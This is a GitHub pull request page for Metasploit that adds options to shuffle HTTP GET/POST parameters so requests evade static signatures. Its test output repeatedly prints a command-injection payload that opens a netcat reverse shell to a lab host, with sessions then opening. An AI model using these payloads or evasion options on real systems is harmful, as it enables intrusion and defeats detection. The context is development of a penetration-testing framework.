Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Rex::Proto::Http: Add evasion options to shuffle GET / POST parameters #16764

Merged

Conversation

bcoles
Copy link
Contributor

@bcoles bcoles commented Jul 10, 2022

Adds two HTTP client evasion options to Rex::Proto::HTTP and exposes these to msfconsole :

  • HTTP::shuffle_get_params
  • HTTP::shuffle_post_params

Sometime in the last 5 years someone (@sempervictus ?) suggested that I add this as an evasion option, rather than implement it in every HTTP module. Better late than never.

Example Output

The test module and vulnerable page are inconsequential. HttpTrace output clearly show cause and effect of this change.

msf6 > use exploit/unix/webapp/test 
[*] Using configured payload windows/shell/reverse_tcp
msf6 exploit(unix/webapp/test) > grep shuffle show evasion
   HTTP::shuffle_get_params      false            no        Randomize order of GET parameters
   HTTP::shuffle_post_params     false            no        Randomize order of POST parameters
msf6 exploit(unix/webapp/test) > set payload cmd/unix/reverse_netcat
payload => cmd/unix/reverse_netcat
msf6 exploit(unix/webapp/test) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf6 exploit(unix/webapp/test) > set lhost 192.168.200.130
lhost => 192.168.200.130
msf6 exploit(unix/webapp/test) > set http::shuffle_get_params 
http::shuffle_get_params => false
msf6 exploit(unix/webapp/test) > run

[*] Started reverse TCP handler on 192.168.200.130:4444 
[*] Sending payload (105 bytes) ...
[-] Exploit aborted due to failure: unreachable: Connection failed
[*] Exploit completed, but no session was created.
msf6 exploit(unix/webapp/test) > [*] Command shell session 1 opened (192.168.200.130:4444 -> 192.168.200.130:42012) at 2022-07-10 11:07:44 -0400

msf6 exploit(unix/webapp/test) > set httptrace true
httptrace => true
msf6 exploit(unix/webapp/test) > run

[*] Started reverse TCP handler on 192.168.200.130:4444 
[*] Sending payload (105 bytes) ...
####################
# Request:
####################
GET /stage.php?test=123&another-test=456&ip=%3b%20mkfifo%20/tmp/mijzgvm%3b%20nc%20192.168.200.130%204444%200%3c/tmp/mijzgvm%20%7c%20/bin/sh%20%3e/tmp/mijzgvm%202%3e%261%3b%20rm%20/tmp/mijzgvm HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.81 Safari/537.36


####################
# Response:
####################
No response received
[-] Exploit aborted due to failure: unreachable: Connection failed
[*] Exploit completed, but no session was created.
msf6 exploit(unix/webapp/test) > [*] Command shell session 2 opened (192.168.200.130:4444 -> 192.168.200.130:42016) at 2022-07-10 11:07:59 -0400

msf6 exploit(unix/webapp/test) > set http::shuffle_get_params true
http::shuffle_get_params => true
msf6 exploit(unix/webapp/test) > run

[*] Started reverse TCP handler on 192.168.200.130:4444 
[*] Sending payload (105 bytes) ...
####################
# Request:
####################
GET /stage.php?another-test=456&test=123&ip=%3b%20mkfifo%20/tmp/hqkgvqe%3b%20nc%20192.168.200.130%204444%200%3c/tmp/hqkgvqe%20%7c%20/bin/sh%20%3e/tmp/hqkgvqe%202%3e%261%3b%20rm%20/tmp/hqkgvqe HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.81 Safari/537.36


####################
# Response:
####################
No response received
[-] Exploit aborted due to failure: unreachable: Connection failed
[*] Exploit completed, but no session was created.
msf6 exploit(unix/webapp/test) > [*] Command shell session 3 opened (192.168.200.130:4444 -> 192.168.200.130:42018) at 2022-07-10 11:08:18 -0400

msf6 exploit(unix/webapp/test) > run

[*] Started reverse TCP handler on 192.168.200.130:4444 
[*] Sending payload (105 bytes) ...
####################
# Request:
####################
GET /stage.php?another-test=456&ip=%3b%20mkfifo%20/tmp/zznlknr%3b%20nc%20192.168.200.130%204444%200%3c/tmp/zznlknr%20%7c%20/bin/sh%20%3e/tmp/zznlknr%202%3e%261%3b%20rm%20/tmp/zznlknr&test=123 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.81 Safari/537.36


####################
# Response:
####################
No response received
[-] Exploit aborted due to failure: unreachable: Connection failed
[*] Exploit completed, but no session was created.
msf6 exploit(unix/webapp/test) > [*] Command shell session 4 opened (192.168.200.130:4444 -> 192.168.200.130:42020) at 2022-07-10 11:08:26 -0400

msf6 exploit(unix/webapp/test) > sessions -c "echo nothing broken"
[*] Running 'echo nothing broken' on shell session 1 (127.0.0.1)
nothing broken

[*] Running 'echo nothing broken' on shell session 2 (127.0.0.1)
nothing broken

[*] Running 'echo nothing broken' on shell session 3 (127.0.0.1)
nothing broken

[*] Running 'echo nothing broken' on shell session 4 (127.0.0.1)
nothing broken

msf6 exploit(unix/webapp/test) > sessions -K
[*] Killing all sessions...
[*] 127.0.0.1 - Command shell session 4 closed.
[*] 127.0.0.1 - Command shell session 3 closed.
[*] 127.0.0.1 - Command shell session 2 closed.
[*] 127.0.0.1 - Command shell session 1 closed.
msf6 exploit(unix/webapp/test) > reload
[*] Reloading module...
msf6 exploit(unix/webapp/test) > set payload cmd/unix/reverse_netcat
payload => cmd/unix/reverse_netcat
msf6 exploit(unix/webapp/test) > run

[*] Started reverse TCP handler on 192.168.200.130:4444 
[*] Sending payload (105 bytes) ...
####################
# Request:
####################
POST /stage.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.81 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 176

test=123&another-test=456&ip=%3b%20mkfifo%20/tmp/iutovop%3b%20nc%20192.168.200.130%204444%200%3c/tmp/iutovop%20%7c%20/bin/sh%20%3e/tmp/iutovop%202%3e%261%3b%20rm%20/tmp/iutovop
####################
# Response:
####################
No response received
[-] Exploit aborted due to failure: unreachable: Connection failed
[*] Exploit completed, but no session was created.
msf6 exploit(unix/webapp/test) > [*] Command shell session 5 opened (192.168.200.130:4444 -> 192.168.200.130:42022) at 2022-07-10 11:29:44 -0400

msf6 exploit(unix/webapp/test) > set http::shuffle_post_params 
http::shuffle_post_params => false
msf6 exploit(unix/webapp/test) > set http::shuffle_post_params true
http::shuffle_post_params => true
msf6 exploit(unix/webapp/test) > run

[*] Started reverse TCP handler on 192.168.200.130:4444 
[*] Sending payload (97 bytes) ...
####################
# Request:
####################
POST /stage.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.81 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 168

test=123&ip=%3b%20mkfifo%20/tmp/ayldv%3b%20nc%20192.168.200.130%204444%200%3c/tmp/ayldv%20%7c%20/bin/sh%20%3e/tmp/ayldv%202%3e%261%3b%20rm%20/tmp/ayldv&another-test=456
####################
# Response:
####################
No response received
[-] Exploit aborted due to failure: unreachable: Connection failed
[*] Exploit completed, but no session was created.
msf6 exploit(unix/webapp/test) > [*] Command shell session 6 opened (192.168.200.130:4444 -> 192.168.200.130:42024) at 2022-07-10 11:30:03 -0400

msf6 exploit(unix/webapp/test) > run

[*] Started reverse TCP handler on 192.168.200.130:4444 
[*] Sending payload (93 bytes) ...
####################
# Request:
####################
POST /stage.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.81 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 164

another-test=456&ip=%3b%20mkfifo%20/tmp/uwkd%3b%20nc%20192.168.200.130%204444%200%3c/tmp/uwkd%20%7c%20/bin/sh%20%3e/tmp/uwkd%202%3e%261%3b%20rm%20/tmp/uwkd&test=123
####################
# Response:
####################
No response received
[-] Exploit aborted due to failure: unreachable: Connection failed
[*] Exploit completed, but no session was created.
msf6 exploit(unix/webapp/test) > [*] Command shell session 7 opened (192.168.200.130:4444 -> 192.168.200.130:42026) at 2022-07-10 11:30:13 -0400

msf6 exploit(unix/webapp/test) > run

[*] Started reverse TCP handler on 192.168.200.130:4444 
[*] Sending payload (93 bytes) ...
####################
# Request:
####################
POST /stage.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.81 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 164

test=123&ip=%3b%20mkfifo%20/tmp/ucuc%3b%20nc%20192.168.200.130%204444%200%3c/tmp/ucuc%20%7c%20/bin/sh%20%3e/tmp/ucuc%202%3e%261%3b%20rm%20/tmp/ucuc&another-test=456
####################
# Response:
####################
No response received
[-] Exploit aborted due to failure: unreachable: Connection failed
[*] Exploit completed, but no session was created.
msf6 exploit(unix/webapp/test) > [*] Command shell session 8 opened (192.168.200.130:4444 -> 192.168.200.130:42028) at 2022-07-10 11:30:22 -0400

msf6 exploit(unix/webapp/test) > sessions -c "echo nothing broken"
[*] Running 'echo nothing broken' on shell session 5 (127.0.0.1)
nothing broken

[*] Running 'echo nothing broken' on shell session 6 (127.0.0.1)
nothing broken

[*] Running 'echo nothing broken' on shell session 7 (127.0.0.1)
nothing broken

[*] Running 'echo nothing broken' on shell session 8 (127.0.0.1)
nothing broken

msf6 exploit(unix/webapp/test) > sessions -K
[*] Killing all sessions...
[*] 127.0.0.1 - Command shell session 8 closed.
[*] 127.0.0.1 - Command shell session 7 closed.
[*] 127.0.0.1 - Command shell session 6 closed.
[*] 127.0.0.1 - Command shell session 5 closed.
msf6 exploit(unix/webapp/test) > 

@adfoster-r7
Copy link
Contributor

Let me know if you think this is a blocker or not; It looks like this wouldn't shuffle query params that are explicitly provided as a string:

def to_s(headers_only: false)
# Start GET query string
qstr = opts['query'] ? opts['query'].dup : ""

I think a module developer/end user might expect this value to also be shuffled

@bcoles
Copy link
Contributor Author

bcoles commented Jul 11, 2022

Let me know if you think this is a blocker or not; It looks like this wouldn't shuffle query params that are explicitly provided as a string:

def to_s(headers_only: false)
# Start GET query string
qstr = opts['query'] ? opts['query'].dup : ""

I think a module developer/end user might expect this value to also be shuffled

Not a blocker. Module developers should use vars_get. Providing GET parameters in the query string is forbidden by msftidy and rejected during PR review.

def check_vars_get
test = @source.scan(/send_request_cgi\s*\(?\s*\{?\s*['"]uri['"]\s*=>\s*[^=})]*?\?[^,})]+/im)
unless test.empty?
test.each { |item|
warn("Please use vars_get in send_request_cgi: #{item}")
}
end
end

If a module uses parameters in the query string, this is because it is required for some reason (in which case shuffling may be problematic), or because the module is old (in which case the module should be updated).

@adfoster-r7 adfoster-r7 merged commit 44e4714 into rapid7:master Jul 11, 2022
@adfoster-r7
Copy link
Contributor

Release Notes

Adds two new HTTP client evasion options to msfconsole HTTP::shuffle_get_params, and HTTP::shuffle_post_params

@bcoles bcoles deleted the rex-proto-http-evasion-shuffle-params branch July 11, 2022 13:20
@sempervictus
Copy link
Contributor

Ooh, neat, thank you.
Can this be used to add entropy to the HTTP transports for meterp? :)

@bcoles
Copy link
Contributor Author

bcoles commented Jul 11, 2022

Ooh, neat, thank you. Can this be used to add entropy to the HTTP transports for meterp? :)

A quick grep and read through the transport code in lib/msf/core/payload shows no use of HttpClient evasion related code, so probably cannot be use as is. But the same parameter randomization technique could likely be applied. If you like I can circle back in another 5 years or so and take a look.

@gwillcox-r7 gwillcox-r7 added the rn-enhancement release notes enhancement label Jul 14, 2022
@gwillcox-r7
Copy link
Contributor

Release Notes

Two new options have been added to Rex::Proto::HTTP: HTTP::shuffle_get_params and HTTP::shuffle_post_params. These options shuffle the order of the GET or POST parameters respectively to help evade static signature detections

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

Successfully merging this pull request may close these issues.

4 participants